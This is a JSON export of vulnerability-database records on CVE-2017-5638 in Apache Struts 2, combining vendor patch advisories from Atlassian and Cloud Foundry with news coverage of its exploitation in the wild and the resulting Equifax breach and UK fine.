Reuters](<http://www.reuters.com/article/us-equifax-cyber-lawsuits/lawsuits-against-equifax-pile-up-after-massive-data-breach-idUSKCN1BM2E3>).\n\n[Quartz reported](<https://qz.com/1073221/the-hackers-who-broke-into-equifax-exploited-a-nine-year-old-security-flaw/>) that the vulnerability they mentioned was in a popular open-source software package called Apache Struts, which is a programming framework for building web applications in Java. Two vulnerabilities in Struts have been discovered so far in 2017. The vulnerability announced on Sept. 4 has existed in Struts since 2008.\n\nApache responded to that report with [this Apache Struts Statement on Equifax Security Breach](<https://blogs.apache.org/foundation/entry/apache-struts-statement-on-equifax>).\n\n \n\nOn July 29, 2017, Equifax discovered that attackers had gained unauthorized access to private data belonging to an estimated 143 million Americans by exploiting a vulnerability in a website application. It is unknown at this point whether said vulnerability was a zero-day or had already been patched. The former would indicate that other companies could have also been attacked, while the latter would reflect on Equifax's overall security posture.\n\n[According to Equifax](<https://www.equifaxsecurity2017.com/frequently-asked-questions/>), online criminals maintained their presence from mid-May through July 2017 and had access to:\n\n * Names\n * Social Security numbers\n * Birth dates\n * Addresses\n * Driver\u2019s license numbers (in some cases)\n * Credit card numbers (for approx. 209,000 U.S. consumers)\n\nIt also said that some personal information for certain UK and Canadian residents was part of this breach.\n\nThis is obviously bad news for consumers and it will only increase the lack of trust they have towards corporations that collect and store their data. It also serves as a reminder that there are ways to be proactive and exercise your right to have access to your information and put certain restrictions in place to make identity theft harder.\n\nEquifax is offering a free identity theft protection and credit file monitoring to all of its U.S. customers while still investigating the intrusion, working along with a private firm and law enforcement. More information about this breach and how to apply for ID theft protection can be found by going to [equifaxsecurity2017.com](<https://www.equifaxsecurity2017.com/>), a website Equifax has just set up.\n\nThe post [Equifax breach: What you need to know [updated]](<https://blog.malwarebytes.com/cybercrime/2017/09/equifax-breach-what-you-need-to-know/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-09-08T07:02:47", "title": "Equifax breach: What you need to know [updated]", "type": "malwarebytes", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-09-08T07:02:47", "id": "MALWAREBYTES:4993027161793E66024E0B42522BB53D", "href": "https://blog.malwarebytes.com/cybercrime/2017/09/equifax-breach-what-you-need-to-know/", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "atlassian": [{"lastseen": "2021-07-28T14:40:47", "description": "*Description*\r\n\r\nBamboo used a version of Struts 2 that was vulnerable to\u00a0[CVE-2017-5638|https://cwiki.apache.org/confluence/display/WW/S2-045]. Attackers can use this vulnerability to execute Java code of their choice on systems that have a vulnerable version of Bamboo\r\n\r\n*Affected versions:*\r\n * All versions of Bamboo\u00a0from *5.1.0*\u00a0before *5.14.5*\u00a0(the fixed version for 5.14.x) and from *5.15.0* but less than *5.15.3* (the fixed version for\u00a05.15.x)\u00a0are affected by this vulnerability.\r\n\r\n*Fix:*\r\n * *Bamboo*\u00a05.15.3 is available for download from [https://www.atlassian.com/software/bamboo/download].\r\n * *Bamboo*\u00a05.14.5 is available for download from [https://www.atlassian.com/software/bamboo/download-archives].\r\n\r\n*Hotfix:*\r\n The preferred fix is to upgrade your Bamboo using one of the links from the *Fix* section. If you cannot schedule an upgrade immediately, you can replace the affected library as a temporary workaround.\r\n * *Bamboo* 5.9.x, 5.10.x, 5.11.x, 5.12.x - use\u00a0[^struts2-core-2.3.16.3-atlassian-7.jar]\r\n * *Bamboo* 5.13.x - use\u00a0[^struts2-core-2.5.1-atlassian-11.jar] (this jar has struts2 version 2.5.1 with the same fix applied in version 2.5.10.1)\r\n\r\nTo replace the library, remove the existing struts2-core library from $BAMBOO_DIR/WEB-INF/lib, replace it with one matching your Bamboo version and restart your Bamboo server. This temporary solution is provided only for your convenience and an upgrade to an official Bamboo release should be scheduled as soon as possible.\r\n\r\n\r\nFor additional details see the [full advisory|https://confluence.atlassian.com/x/_slDN].", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-03-10T04:57:51", "type": "atlassian", "title": "Apache Struts 2 Remote Code Execution (CVE-2017-5638)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2019-08-19T02:05:22", "id": "ATLASSIAN:BAM-18242", "href": "https://jira.atlassian.com/browse/BAM-18242", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-01-05T06:40:11", "description": "*Description*\r\n Crowd used a version of Struts 2 that was vulnerable to\u00a0[CVE-2017-5638|https://cwiki.apache.org/confluence/display/WW/S2-045]. Attackers can use this vulnerability to execute\u00a0Java code of their choice on systems that have a vulnerable version of Crowd.\r\n\r\n*Affected versions:*\r\n * All versions of Crowd\u00a0*from 2.8.3* before *2.9.7* (the fixed version for 2.9.x), from version *2.10.1* before *2.10.3* (the fixed version for 2.10.x) and from version *2.11.0*\u00a0before *2.11.1*\u00a0(the fixed version for 2.11.x)\u00a0are affected by this vulnerability.\r\n\r\n*Fix:*\r\n * *Crowd* 2.11.1 is available for download from [https://www.atlassian.com/software/crowd/download].\r\n * *Crowd* 2.10.3 is available for download from [https://www.atlassian.com/software/crowd/download-archive].\r\n * *Crowd* 2.9.7 is available for download from [https://www.atlassian.com/software/crowd/download-archive].\r\n\r\n\u00a0*Hotfix:*\r\nThe preferred fix is to upgrade Crowd to a version that's not vulnerable (see the *Fix* section). If you cannot schedule an upgrade immediately, and are using Crowd 2.10 or 2.11, you can replace the affected library as a temporary workaround.\r\n\r\nTo replace the library:\r\n# Stop Crowd\r\n# Download [struts2-core-2.3.32.jar|https://maven.atlassian.com/content/groups/public/org/apache/struts/struts2-core/2.3.32/struts2-core-2.3.32.jar]\r\n# Remove all existing copies of struts2-core-2.3.29.jar:\r\n{code}\r\n./crowd-openidclient-webapp/WEB-INF/lib/struts2-core-2.3.29.jar\r\n./crowd-openidserver-webapp/WEB-INF/lib/struts2-core-2.3.29.jar\r\n./crowd-webapp/WEB-INF/lib/struts2-core-2.3.29.jar\r\n./demo-webapp/WEB-INF/lib/struts2-core-2.3.29.jar\r\n{code}\r\n# Copy the downloaded struts2-core-2.3.32.jar into each of the lib/ directories you removed the jar from\r\n# Restart Crowd\r\n\r\nThis temporary solution is provided only for your convenience and an upgrade to an official Crowd release should be scheduled as soon as possible.\r\n\r\nFor additional details see the [full advisory|https://confluence.atlassian.com/crowd/crowd-security-advisory-2017-03-10-876857916.html].", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-03-10T04:31:09", "type": "atlassian", "title": "Apache Struts 2 Remote Code Execution (CVE-2017-5638)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-10-24T05:01:02", "id": "CWD-4879", "href": "https://jira.atlassian.com/browse/CWD-4879", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-01-05T07:11:26", "description": "*Description*\r\n\r\nBamboo used a version of Struts 2 that was vulnerable to\u00a0[CVE-2017-5638|https://cwiki.apache.org/confluence/display/WW/S2-045]. Attackers can use this vulnerability to execute Java code of their choice on systems that have a vulnerable version of Bamboo\r\n\r\n*Affected versions:*\r\n * All versions of Bamboo\u00a0from *5.1.0*\u00a0before *5.14.5*\u00a0(the fixed version for 5.14.x) and from *5.15.0* but less than *5.15.3* (the fixed version for\u00a05.15.x)\u00a0are affected by this vulnerability.\r\n\r\n*Fix:*\r\n * *Bamboo*\u00a05.15.3 is available for download from [https://www.atlassian.com/software/bamboo/download].\r\n * *Bamboo*\u00a05.14.5 is available for download from [https://www.atlassian.com/software/bamboo/download-archives].\r\n\r\n*Hotfix:*\r\n The preferred fix is to upgrade your Bamboo using one of the links from the *Fix* section. If you cannot schedule an upgrade immediately, you can replace the affected library as a temporary workaround.\r\n * *Bamboo* 5.9.x, 5.10.x, 5.11.x, 5.12.x - use\u00a0[^struts2-core-2.3.16.3-atlassian-7.jar]\r\n * *Bamboo* 5.13.x - use\u00a0[^struts2-core-2.5.1-atlassian-11.jar] (this jar has struts2 version 2.5.1 with the same fix applied in version 2.5.10.1)\r\n\r\nTo replace the library, remove the existing struts2-core library from $BAMBOO_DIR/WEB-INF/lib, replace it with one matching your Bamboo version and restart your Bamboo server. This temporary solution is provided only for your convenience and an upgrade to an official Bamboo release should be scheduled as soon as possible.\r\n\r\n\r\nFor additional details see the [full advisory|https://confluence.atlassian.com/x/_slDN].", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-03-10T04:57:51", "type": "atlassian", "title": "Apache Struts 2 Remote Code Execution (CVE-2017-5638)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2019-08-19T02:05:22", "id": "BAM-18242", "href": "https://jira.atlassian.com/browse/BAM-18242", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-28T14:40:48", "description": "*Description*\r\n Crowd used a version of Struts 2 that was vulnerable to\u00a0[CVE-2017-5638|https://cwiki.apache.org/confluence/display/WW/S2-045]. Attackers can use this vulnerability to execute\u00a0Java code of their choice on systems that have a vulnerable version of Crowd.\r\n\r\n*Affected versions:*\r\n * All versions of Crowd\u00a0*from 2.8.3* before *2.9.7* (the fixed version for 2.9.x), from version *2.10.1* before *2.10.3* (the fixed version for 2.10.x) and from version *2.11.0*\u00a0before *2.11.1*\u00a0(the fixed version for 2.11.x)\u00a0are affected by this vulnerability.\r\n\r\n*Fix:*\r\n * *Crowd* 2.11.1 is available for download from [https://www.atlassian.com/software/crowd/download].\r\n * *Crowd* 2.10.3 is available for download from [https://www.atlassian.com/software/crowd/download-archive].\r\n * *Crowd* 2.9.7 is available for download from [https://www.atlassian.com/software/crowd/download-archive].\r\n\r\n\u00a0*Hotfix:*\r\nThe preferred fix is to upgrade Crowd to a version that's not vulnerable (see the *Fix* section). If you cannot schedule an upgrade immediately, and are using Crowd 2.10 or 2.11, you can replace the affected library as a temporary workaround.\r\n\r\nTo replace the library:\r\n# Stop Crowd\r\n# Download [struts2-core-2.3.32.jar|https://maven.atlassian.com/content/groups/public/org/apache/struts/struts2-core/2.3.32/struts2-core-2.3.32.jar]\r\n# Remove all existing copies of struts2-core-2.3.29.jar:\r\n{code}\r\n./crowd-openidclient-webapp/WEB-INF/lib/struts2-core-2.3.29.jar\r\n./crowd-openidserver-webapp/WEB-INF/lib/struts2-core-2.3.29.jar\r\n./crowd-webapp/WEB-INF/lib/struts2-core-2.3.29.jar\r\n./demo-webapp/WEB-INF/lib/struts2-core-2.3.29.jar\r\n{code}\r\n# Copy the downloaded struts2-core-2.3.32.jar into each of the lib/ directories you removed the jar from\r\n# Restart Crowd\r\n\r\nThis temporary solution is provided only for your convenience and an upgrade to an official Crowd release should be scheduled as soon as possible.\r\n\r\nFor additional details see the [full advisory|https://confluence.atlassian.com/crowd/crowd-security-advisory-2017-03-10-876857916.html].", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2017-03-10T04:31:09", "type": "atlassian", "title": "Apache Struts 2 Remote Code Execution (CVE-2017-5638)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-10-24T05:01:02", "id": "ATLASSIAN:CWD-4879", "href": "https://jira.atlassian.com/browse/CWD-4879", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cloudfoundry": [{"lastseen": "2023-02-08T16:22:40", "description": "# \n\n# **Severity**\n\nAdvisory/Critical\n\n# **Vendor**\n\nApache\n\n# **Versions Affected**\n\n * Apache Struts 2:\n * 2.3.x versions prior to 2.3.32\n * 2.5.x versions prior to 2.5.10.1\n\n# **Description**\n\nThe Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 [1] mishandles file upload, which allows remote attackers to execute arbitrary commands via a `#cmd=` string in a crafted Content-Type HTTP header, as exploited in the wild in March 2017 [2].\n\n# **Affected Cloud Foundry Products and Versions**\n\n * The Cloud Foundry team has determined that core releases do not package Apache Struts.\n * However, particular applications deployed on Cloud Foundry may depend on Apache Struts 2. This vulnerability should be mitigated on the application level as soon as possible by following the steps outlined in the Struts documentation [3].\n\n# **Mitigation**\n\n * The Cloud Foundry team has determined that the project is not exposed to this particular vulnerability and therefore does not require any Cloud Foundry-specific upgrades.\n * However, particular applications deployed on Cloud Foundry may depend on Apache Struts 2. This vulnerability should be mitigated on the application level as soon as possible by following the steps outlined in the Struts documentation [3].\n\n# **Credit**\n\nNike Zheng\n\n# **References**\n\n * [1] [https://vulners.com/cve/CVE-2017-5638](<https://vulners.com/cve/CVE-2017-5638>)\n * [2] [https://arstechnica.com/security/2017/03/critical-vulnerability-under-massive-attack-imperils-high-impact-sites/](<https://arstechnica.com/security/2017/03/critical-vulnerability-under-massive-attack-imperils-high-impact-sites/>)\n * [3] [https://cwiki.apache.org/confluence/display/WW/S2-045?from=timeline&isappinstalled=0](<https://cwiki.apache.org/confluence/display/WW/S2-045?from=timeline&isappinstalled=0>)\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2017-03-14T00:00:00", "type": "cloudfoundry", "title": "CVE-2017-5638: Apache Struts Remote Code Execution | Cloud Foundry", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-14T00:00:00", "id": "CFOUNDRY:C2B8B89ADB85BB41095EAA7D88C0E350", "href": "https://www.cloudfoundry.org/blog/cve-2017-5638/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "thn": [{"lastseen": "2018-01-27T09:17:16", "description": "[![New Apache Struts Zero-Day Vulnerability Being Exploited in the Wild](https://4.bp.blogspot.com/-YbGPFiDfo54/WMFEMrkhUUI/AAAAAAAArt0/axO9fhieprw6xBp0DoBNdECPB4t_le8uwCLcB/s1600/apache-struts-framework.png)](<https://4.bp.blogspot.com/-YbGPFiDfo54/WMFEMrkhUUI/AAAAAAAArt0/axO9fhieprw6xBp0DoBNdECPB4t_le8uwCLcB/s1600/apache-struts-framework.png>)\n\nSecurity researchers have discovered a Zero-Day vulnerability in the popular Apache Struts web application framework, which is being actively exploited in the wild. \n \nApache Struts is a free, open-source, Model-View-Controller (MVC) framework for creating elegant, modern Java web applications, which supports REST, AJAX, and JSON. \n \nIn a [blog post](<http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html>) published Monday, Cisco's Threat intelligence firm Talos announced the team observed a number of active attacks against the zero-day vulnerability (CVE-2017-5638) in Apache Struts. \n \nAccording to the researchers, the issue is a remote code execution vulnerability in the Jakarta Multipart parser of Apache Struts that could allow an attacker to execute malicious commands on the server when uploading files based on the parser. \n\n\n> \"It is possible to perform an RCE attack with a malicious Content-Type value,\" [warned](<https://cwiki.apache.org/confluence/display/WW/S2-045>) Apache. \"If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.\"\n\nThe vulnerability, documented at Rapid7's Metasploit Framework [GitHub site](<https://github.com/rapid7/metasploit-framework/issues/8064>), has been patched by Apache. So, if you are using the Jakarta-based file upload Multipart parser under Apache Struts 2, you are advised to upgrade to Apache Struts version 2.3.32 or 2.5.10.1 immediately. \n \n\n\n### Exploit Code Publicly Released\n\n \nSince the Talos researchers detected public proof-of-concept (PoC) exploit code (which was uploaded to a Chinese site), the vulnerability is quite dangerous. \n \nThe researchers even detected \"a high number of exploitation events,\" the majority of which seem to be leveraging the publicly released PoC that is being used to run various malicious commands. \n\n\n[![apache-exploit-code](https://2.bp.blogspot.com/-OMaYI0kDfZk/WME-W6XvmwI/AAAAAAAArtc/4rw52IxHjJYLJOlufdQEoxxQwjYWAbGmQCLcB/s1600/apache-exploit-code.png)](<https://2.bp.blogspot.com/-OMaYI0kDfZk/WME-W6XvmwI/AAAAAAAArtc/4rw52IxHjJYLJOlufdQEoxxQwjYWAbGmQCLcB/s1600/apache-exploit-code.png>)\n\nIn some cases, the attackers executed simple \"whoami\" commands to see if the target system is vulnerable, while in others, the malicious attacks turned off firewall processes on the target and dropped payloads. \n\n\n[![apache-exploit](https://2.bp.blogspot.com/-1fS7Z-ZsPgA/WME-E_vWvTI/AAAAAAAArtY/k_8FmAtSwaU9ICPEjN1gQMTdPHsQSRyFACLcB/s1600/apache-exploit.png)](<https://2.bp.blogspot.com/-1fS7Z-ZsPgA/WME-E_vWvTI/AAAAAAAArtY/k_8FmAtSwaU9ICPEjN1gQMTdPHsQSRyFACLcB/s1600/apache-exploit.png>)\n\n \n\n\n> \"Final steps include downloading a malicious payload from a web server and execution of said payload,\" the researchers say. \"The payloads have varied but include an IRC bouncer, a DoS bot, and a sample related to the Bill Gates botnet... A payload is downloaded and executed from a privileged account.\"\n\nAttackers also attempted to gain persistence on infected hosts by adding a binary to the boot-up routine. \n \nAccording to the researchers, the attackers tried to copy the file to a benign directory and ensure_ \"that both the executable runs and that the firewall service will be disabled when the system boots.\"_ \n \nBoth Cisco and Apache researchers urge administrators to upgrade their systems to Apache Struts version 2.3.32 or 2.5.10.1 as soon as possible. Admins can also switch to a different [implementation](<https://cwiki.apache.org/confluence/display/WW/File+Upload#FileUpload-AlternateLibraries>) of the Multipart parser.\n", "cvss3": {}, "published": "2017-03-09T01:03:00", "type": "thn", "title": "New Apache Struts Zero-Day Vulnerability Being Exploited in the Wild", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-03-09T12:03:10", "id": "THN:2707247140A4F620671B33D68FEB1EA9", "href": "https://thehackernews.com/2017/03/apache-struts-framework.html", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-01-27T09:17:53", "description": "[![equifax-credit-security-breach](https://4.bp.blogspot.com/-7t3BApLnYmI/WdM9FFq_vsI/AAAAAAAAATQ/KVrOmkm6SzoTm_8rLuSGnUbnhJudoRXwwCLcBGAs/s1600/equifax-data-breach.png)](<https://4.bp.blogspot.com/-7t3BApLnYmI/WdM9FFq_vsI/AAAAAAAAATQ/KVrOmkm6SzoTm_8rLuSGnUbnhJudoRXwwCLcBGAs/s1600/equifax-data-breach.png>)\n\n[Equifax data breach](<https://thehackernews.com/2017/09/equifax-data-breach.html>) was bigger than initially reported, exposing highly sensitive information of more Americans than previously revealed. \n \nCredit rating agency Equifax says an additional 2.5 million U.S. consumers were also impacted by the massive data breach the company disclosed last month, bringing the total possible victims to 145.5 million from 143 million. \n \nEquifax last month announced that it had suffered a massive data breach that exposed highly sensitive data of hundreds of millions of its customers, which includes names, social security numbers, dates of birth and addresses. \n \nIn addition, credit card information for [nearly 209,000 customers](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>) was also stolen, as well as certain documents with personally identifying information (PII) for approximately 182,000 Equifax consumers. \n \nThe breach was due to a critical vulnerability ([CVE-2017-5638](<https://thehackernews.com/2017/03/apache-struts-framework.html>)) in Apache Struts 2 framework, which Apache patched over two months earlier (on March 6) of the security incident. \n \nEquifax was even [informed by the US-CERT](<https://thehackernews.com/2017/09/equifax-apache-struts.html>) on March 8 to patch the flaw, but the company failed to identified or patched its systems against the issue, Equifax ex-CEO Richard Smith said in a statement [[PDF](<http://docs.house.gov/meetings/IF/IF17/20171003/106455/HHRG-115-IF17-Wstate-SmithR-20171003.pdf>)] to the House Committee on Energy and Commerce. \n\n\n> \"It appears that the breach occurred because of both human error and technology failures,\" Smith said. \"Equifax's information security department also ran scans that should have identified any systems that were vulnerable to the Apache Struts issue...Unfortunately, however, the scans did not identify the Apache Struts vulnerability.\"\n\nIn the wake of the security incident, the company hired FireEye-owned security firm Mandiant to investigate the breach, which has now concluded the forensic portion of its investigation and plans to release the results \"promptly.\" \n \nMandiant said a total of 145.5 million consumers might now potentially have been [impacted by the breach](<https://thehackernews.com/2017/09/equifax-data-breach.html>), which is 2.5 million more than previously estimated. However, the firm did not identify any evidence of \"new attacker activity.\" \n\n\n> \"Mandiant did not identify any evidence of additional or new attacker activity or any access to new databases or tables,\" Equifax said in a Monday [press release](<https://investor.equifax.com/news-and-events/news/2017/10-02-2017-213238821>). \n\n> \"Instead, this additional population of consumers was confirmed during Mandiant's completion of the remaining investigative tasks and quality assurance procedures built into the investigative process.\"\n\nThe forensic investigation also found that approximately 8,000 Canadian consumers were also impacted, which is much lower than the 100,000 initially estimated figure by the credit rating and reporting firm. \n \nHowever, Equifax said that this figure \"was preliminary and did not materialize.\" \n \n\"I want to apologize again to all impacted consumers. As this important phase of our work is now completed, we continue to take numerous steps to review and enhance our cybersecurity practices,\" newly appointed interim CEO, Paulino do Rego Barros, Jr. said. \n \n\"We also continue to work closely with our internal team and outside advisors to implement and accelerate long-term security improvements.\" \n \nEquifax, which maintains data on over 820 million consumers and over 91 million businesses worldwide, also said the company would update its own notification by October 8 for its customers who want to check if they were among those affected by the data breach.\n", "cvss3": {}, "published": "2017-10-02T21:23:00", "type": "thn", "title": "Whoops, Turns Out 2.5 Million More Americans Were Affected By Equifax Breach", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-5638"], "modified": "2017-10-03T08:23:36", "id": "THN:ACD3479531482E2CA5A8E15EB6B47523", "href": "https://thehackernews.com/2017/10/equifax-credit-security-breach.html", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2022-05-09T12:40:51", "description": "[![consumer credit reporting Equifax data breach](https://thehackernews.com/images/-1V4miBZKvxA/W6OU7pQw5sI/AAAAAAAAyLM/GdXx9FNEs_UiDXCnBFucDDfdR_AGIzUkwCLcBGAs/s728-e100/equifax-data-breach.jpg)](<https://thehackernews.com/images/-1V4miBZKvxA/W6OU7pQw5sI/AAAAAAAAyLM/GdXx9FNEs_UiDXCnBFucDDfdR_AGIzUkwCLcBGAs/s728-e100/equifax-data-breach.jpg>)\n\nAtlanta-based consumer credit reporting agency Equifax has been issued a \u00a3500,000 fine by the UK's privacy watchdog for its last year's [massive data breach](<https://thehackernews.com/2017/09/equifax-credit-report-hack.html>) that exposed personal and financial data of hundreds of millions of its customers. \n \nYes, \u00a3500,000\u2014that's the maximum fine allowed by the UK's Data Protection Act 1998, though the penalty is apparently a small figure for a $16 billion company. \n \nIn July this year, the UK's data protection watchdog issued the maximum allowed fine of [\u00a3500,000 on Facebook](<https://thehackernews.com/2018/07/facebook-cambridge-analytica.html>) over the [Cambridge Analytica scandal](<https://thehackernews.com/2018/03/facebook-cambridge-analytica.html>), saying the social media giant Facebook failed to prevent its citizens' data from falling into the wrong hands. \n \n\n\n## Flashback: The Equifax Data Breach 2017\n\n \nEquifax suffered a massive data breach last year between mid-May and the end of July, exposing highly [sensitive data of as many as 145 million people](<https://thehackernews.com/2017/10/equifax-credit-security-breach.html>) globally. \n \nThe stolen information included victims' names, dates of birth, phone numbers, driver's license details, addresses, and social security numbers, along with credit card information and personally identifying information (PII) for hundreds of thousands of its consumers. \n \nThe data breach occurred because the company failed to patch a [critical Apache Struts 2 vulnerability](<https://thehackernews.com/2017/09/equifax-apache-struts.html>) ([CVE-2017-5638](<https://thehackernews.com/2017/03/apache-struts-framework.html>)) on time, for which patches were already issued by the respected companies. \n \n\n\n## Why U.K. Has Fined a US Company?\n\n \nThe UK's Information Commissioner's Office (ICO), who launched a joint investigation into the breach with the Financial Conduct Authority, has now [issued](<https://ico.org.uk/about-the-ico/news-and-events/news-and-blogs/2018/09/credit-reference-agency-equifax-fined-for-security-breach/>) its largest possible monetary penalty under the country's Data Protection Act for the massive data breach\u2014\u00a3500,000, which equals to around $665,000. \n \nThe ICO said that although the [cyber attack compromised Equifax](<https://thehackernews.com/2017/09/equifax-data-breach.html>) systems in the United States, the company \"failed to take appropriate steps\" to protect the personal information of its 15 million UK customers. \n \nThe ICO investigation revealed \"multiple failures\" at the company like keeping users' personal information longer than necessary, which resulted in: \n\n\n * 19,993 UK customers had their names, dates of birth, telephone numbers and driving license numbers exposed.\n * 637,430 UK customers had their names, dates of birth and telephone numbers exposed.\n * Up to 15 million UK customers had names and dates of birth exposed.\n * Some 27,000 Britishers also had their 